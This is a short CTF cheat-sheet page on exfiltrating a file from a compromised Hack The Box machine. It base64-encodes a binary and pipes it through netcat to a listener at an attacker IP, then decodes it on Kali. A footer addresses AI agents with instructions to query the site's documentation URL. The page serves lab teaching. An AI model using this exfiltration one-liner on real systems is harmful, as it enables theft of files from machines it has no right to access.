# Netcat Redirect

If netcat is on the box you can use it to copy data back to Kali.

Set it listening on Kali first, with a redirect to file you want to save received data to:

```bash
root@kali:~/htb/sneaky# nc -lnvp 1234 > chal.b64
listening on [any] 1234 ...
```

On the box convert file to base64 the send to netcat with Kali IP and port:

```bash
thrasivoulos@Sneaky:~$ base64 /usr/local/bin/chal | nc 10.10.14.14 1234
```

Now back on Kali we need to decode it:

```bash
root@kali:~/htb/sneaky# base64 -d chal.b64 > chal
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://pencer.gitbook.io/pencer-ctf-all-the-things/exfiltration/netcat-redirect.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
